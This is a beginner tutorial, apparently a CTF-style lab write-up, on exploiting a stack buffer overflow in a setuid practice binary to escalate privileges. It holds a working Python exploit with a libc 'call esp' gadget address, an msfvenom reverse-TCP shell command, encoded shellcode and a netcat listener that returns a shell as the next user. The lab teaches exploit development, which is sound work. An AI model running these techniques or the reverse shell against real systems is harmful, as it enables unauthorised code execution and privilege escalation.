Welcome again to the Stack Overflows for Beginners series! In this post, we continue with the Level 4 binary and work on exploiting it to get the next flag. We’ll continue exploiting buffer overflows, but this time, we’ll move toward achieving reliable reverse shell access by chaining key exploitation techniques.
If you haven’t read the first part yet, I recommend checking it out first to understand the background, setup, and our goals in this challenge series.
This walkthrough is part of my beginner-level training series, “Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.
Level 4 Objectives
- Make an educated guess to identify the exact offset to EIP manually
- Manually locate useful gadgets (alternative way)
- Use the
call esp
technique to redirect execution to our shellcode
- Generate and inject a reverse shell payload
- Gain code execution by popping a shell on the target system
Accessing the Level 3 User
To begin this level, we switch to the level3 user using the password we found in the previous challenge.
(See the Level 3 post for how we found it.)
level3@kali:/home/level2$ cd /home/level3
level3@kali:~$ ls
level3.txt levelFour
level3@kali:~$ ls -l levelFour
-rwsr-sr-x 1 level4 level4 15592 Jun 8 2019 levelFour
New levelFour binary is owned by user and group level4
and is executable. Because of the s
in the permission string -rwsr-sr-x
, running this binary will execute it with the privileges of level4
, not level3
. This is the key to privilege escalation in this level.
Disassembling
We use GDB to inspect the functions available inside the levelFour
binary.
(gdb) info func
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 setresuid@plt
0x00001040 printf@plt
0x00001050 geteuid@plt
0x00001060 strcpy@plt
[...]
0x000011c9 overflow
0x00001209 main
[...]
0x000012d4 _fini
From this, we focus on main
and overflow
, which look like the targets of interest.
Inspecting main
We disassemble main
and see it calls geteuid
, sets the UID with setresuid
, and then passes an argument to the overflow
function.
(gdb) disass main
Dump of assembler code for function main:
0x00001209 <+0>: lea ecx,[esp+0x4]
0x0000120d <+4>: and esp,0xfffffff0
0x00001210 <+7>: push DWORD PTR [ecx-0x4]
0x00001213 <+10>: push ebp
0x00001214 <+11>: mov ebp,esp
[...]
0x00001251 <+72>: call 0x11c9 <overflow>
The function passes a value to overflow
, likely user-controlled. This makes overflow
an ideal candidate for a buffer overflow.
Inspecting overflow
Here is the full disassembly of the overflow
function.
(gdb) disass overflow
Dump of assembler code for function overflow:
0x000011c9 <+0>: push ebp
0x000011ca <+1>: mov ebp,esp
0x000011cc <+3>: push ebx
0x000011cd <+4>: sub esp,0x14
[...]
0x000011e5 <+28>: call 0x1060 <strcpy@plt>
We see the function allocates 0x14
(20) bytes on the stack with sub esp, 0x14
. It then calls strcpy
, copying user input into a buffer located at [ebp-0x18]
. This is a classic unsafe call — strcpy
does not check input length. Since only 20 bytes are reserved, anything longer starts overwriting saved registers or the return address. That’s exactly what will lead to the crash of program.
Finding the Overflow
We verify how many bytes it takes to crash the program.
(gdb) r $(python3 -c "print('A' * 0x14)")
Starting program: /home/level3/levelFour $(python3 -c "print('A' * 0x14)")
Buf: AAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 4921) exited normally]
Sending 20 bytes (0x14) doesn’t crash the binary. Now we test with 24 bytes.
(gdb) r $(python3 -c "print('A' * 24)")
Starting program: /home/level3/levelFour $(python3 -c "print('A' * 24)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x56556268 in main ()
At 24 bytes, we trigger a segmentation fault. This confirms that the overflow overwrites memory beyond the buffer and crashes the application.
Controlling EIP
We can run the binary with 28 A
s followed by 4 B
s.
(gdb) r $(python3 -c "print('A' * 28 + 'B' * 4)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level3/levelFour $(python3 -c "print('A' * 28 + 'B' * 4)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
The value 0x42424242
shows that EIP is fully overwritten after 28 bytes of padding.
We can write a quick script to generate a larger payload.
(gdb) shell cat exploit.py
from struct import pack
size = 1000
offset = 28
shellcode = b"\x90" * 16
buf = b"A" * offset # padding up to EIP overwrite
buf += b"B" * 4 # EIP overwrite
buf += shellcode
buf += b"C" * (size - len(buf)) # junk
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
Then, generate and run the payload.
(gdb) shell python3 exploit.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
(gdb) r $(cat payload.bin)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level3/levelFour $(cat payload.bin)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB...[SNIP]...CCCCCCCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info r
eax 0x3ee 1006
ecx 0x1 1
edx 0xf7fa9890 -134571888
ebx 0x41414141 1094795585
esp 0xffffceb0 0xffffceb0
ebp 0x41414141 0x41414141
esi 0xffffcf00 -12544
edi 0xf7fa8000 -134578176
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
At this point, execution flow is under our control which EIP
overwritten by 0x42424242
Identifying Bad Characters
Let’s update the PoC to include a full byte range, starting with \x01
and skipping only the default badchar \x00
.
(gdb) shell cat exploit.py
from struct import pack
size = 1000
offset = 28
shellcode = b"\x90" * 16
badchars = b"\x01\x02...[SNIP]...\xff"
buf = b"A" * offset # padding up to EIP overwrite
buf += b"B" * 4 # EIP overwrite
buf += badchars
buf += b"C" * (size - len(buf)) # junk
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
Now, place a breakpoint at the return of the overflow
function (0x56556208
) to inspect what gets copied onto the stack.
(gdb) b *0x56556208
Breakpoint 2 at 0x56556208
(gdb) shell python3 exploit.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
(gdb) r $(cat payload.bin)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level3/levelFour $(cat payload.bin)
Breakpoint 2, 0x56556208 in overflow ()
Now, step once to reach the point where execution is redirected and examine the stack contents.
(gdb) ni
0x42424242 in ?? ()
(gdb) x/350bx $esp
0xffffceb0: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08
0xffffceb8: 0x00 0x03 0x00 0x00 0x2e 0x62 0x55 0x56
0xffffcec0: 0xfc 0x83 0xfa 0xf7 0x00 0x90 0x55 0x56
0xffffcec8: 0xa8 0xcf 0xff 0xff 0xeb 0x03 0x00 0x00
0xffffced0: 0x04 0x00 0x00 0x00 0x94 0xcf 0xff 0xff
0xffffced8: 0xa8 0xcf 0xff 0xff 0x00 0xcf 0xff 0xff
0xffffcee0: 0x00 0x00 0x00 0x00 0x00 0x80 0xfa 0xf7
[...]
After \x08
, we spot a \x00
, meaning \x09
was likely interpreted or corrupted. We mark \x09
as a bad character and regenerate the payload without it.
We repeat this process iteratively: removing each badchar, regenerating the payload, and inspecting the stack.
Eventually, we identify the badchars that corrupt our payload: \x00\x09\x0a\x20
These characters must be avoided when encoding the final shellcode or address values.
Redirecting Execution to Shellcode
This time, we avoid using the typical jmp esp
instruction. Instead, we look for an alternative: call esp
.
(gdb) shell msf-nasm_shell
nasm > call esp
00000000 FFD4 call esp
Using objdump
, we search for the opcode ff d4
inside libc.so.6
.
(gdb) shell objdump -D libc.so.6 -M intel | grep 'ff d4'
18de9b: ff d4 call esp
Now we find the base address of libc from memory mappings.
(gdb) info proc mappings
[...]
0xf7dce000 0xf7de7000 0x19000 0x0 /usr/lib32/libc-2.28.so
Using the offset of the instruction (0x18de9b
) and the base address, we calculate the absolute address:
(gdb) p/x 0xf7dce000 + 0x18de9b
$6 = 0xf7f5be9b
(gdb) x/1i 0xf7f5be9b
0xf7f5be9b: call esp
This gives us a reliable gadget to redirect execution to our shellcode.
Now, update the PoC:
(gdb) shell cat exploit.py
from struct import pack
size = 1000
offset = 28
shellcode = b"\x90" * 16
# bads: \x00\x09\x0a\x20
buf = b"A" * offset # padding up to EIP overwrite
buf += pack("<I",0xf7f5be9b) # EIP overwrite [libc-2.28.so]
buf += shellcode
buf += b"C" * (size - len(buf)) # junk
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
Generate the payload:
(gdb) shell python3 exploit.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
Set a breakpoint at the return address of the overflow
function:
(gdb) b *0x56556208
Run the payload:
(gdb) r $(cat payload.bin)
Starting program: /home/level3/levelFour $(cat payload.bin)
Buf: AAAAAAAAAAAAAAAAAAAAAAAA...[SNIP]...CCCCCCCCCCCCCCCCC
Breakpoint 1, 0x56556208 in overflow ()
Step over to the instruction at the overwritten EIP:
(gdb) ni
0xf7f5be9b in ?? () from /lib32/libc.so.6
(gdb) x/1i $eip
=> 0xf7f5be9b: call esp
Step over the next instruction, which jumps to the stack:
(gdb) ni
0xffffceb0 in ?? ()
(gdb)
0xffffceb1 in ?? ()
Inspect the memory at ESP to confirm our shellcode landed correctly:
[...]
(gdb) x/16bx 0xffffceb4
0xffffceb4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcebc: 0x90 0x90 0x90 0x90 0x43 0x43 0x43 0x43
We successfully execute through the NOP sled without issue. Execution is now under full control, and we’re ready to inject functional shellcode.
Executing Reverse Shell
Before jumping in, a quick note on what a reverse shell is and why we need it. A reverse shell allows a target machine to connect back to an attacker’s system, providing remote command execution. This is useful in situations where inbound connections to the victim are blocked by firewalls, but outbound connections are allowed.
In this challenge, we’ll use a reverse shell payload to gain a shell as the level4
user.
We start by checking available payloads in msfvenom
.
$ msfvenom -l payloads | grep linux
[...]
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
[...]
Now generate the payload:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4443 -b "\x00\x09\x0a\x20" -v shellcode -f py
The encoder avoids the known badchars, and returns a 95-byte shellcode.
Now we update our exploit with the actual shellcode:
(gdb) shell cat exploit.py
from struct import pack
size = 1000
offset = 28
shellcode = b"\x90" * 16
shellcode += b"\xbe\xd3\x2f\x8d\xe2\xd9\xe5\xd9\x74\x24\xf4\x5f"
shellcode += b"\x31\xc9\xb1\x12\x31\x77\x12\x03\x77\x12\x83\x14"
shellcode += b"\x2b\x6f\x17\xab\xef\x98\x3b\x98\x4c\x34\xd6\x1c"
shellcode += b"\xda\x5b\x96\x46\x11\x1b\x44\xdf\x19\x23\xa6\x5f"
shellcode += b"\x10\x25\xc1\x37\xdc\xd5\x31\xc6\x4a\xd4\x31\xd9"
shellcode += b"\xd1\x51\xd0\x69\x83\x31\x42\xda\xff\xb1\xed\x3d"
shellcode += b"\x32\x35\xbf\xd5\xa3\x19\x33\x4d\x54\x49\x9c\xef"
shellcode += b"\xcd\x1c\x01\xbd\x5e\x96\x27\xf1\x6a\x65\x27"
# bads: \x00\x09\x0a\x20
buf = b"A" * offset # padding up to EIP overwrite
buf += pack("<I",0xf7f5be9b) # EIP overwrite [libc-2.28.so]
buf += shellcode
buf += b"C" * (size - len(buf)) # junk
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
Start a listener on the attacker’s machine:
$ nc -nvlp 4443
listening on [any] 4443 ...
Now execute the exploit:
$ python3 exploit.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
level3@kali:~$ ./levelFour $(cat payload.bin)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAA����������������������/�����t$�_1ɱ1ww�+o��;�L4��[�F
�#�_%�7��1�J�1��Q�i�1B����=25�գ3MTI����^�'�je'CCCCCCC...[SNIP]...CCCCCCCCCCCCCCCCCCCCCCCC
And we get a shell back:
$ nc -nvlp 4443
listening on [any] 4443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53990
id
uid=1004(level4) gid=1003(level3) groups=1003(level3)
Now that we have code execution as level4
, we grab the flag:
cd /home/level4
ls
level4.txt levelFive
cat level4.txt
[REDACTED]
Now, we have a shell as level4
and can read the flag (password) and are ready to move on to the next level.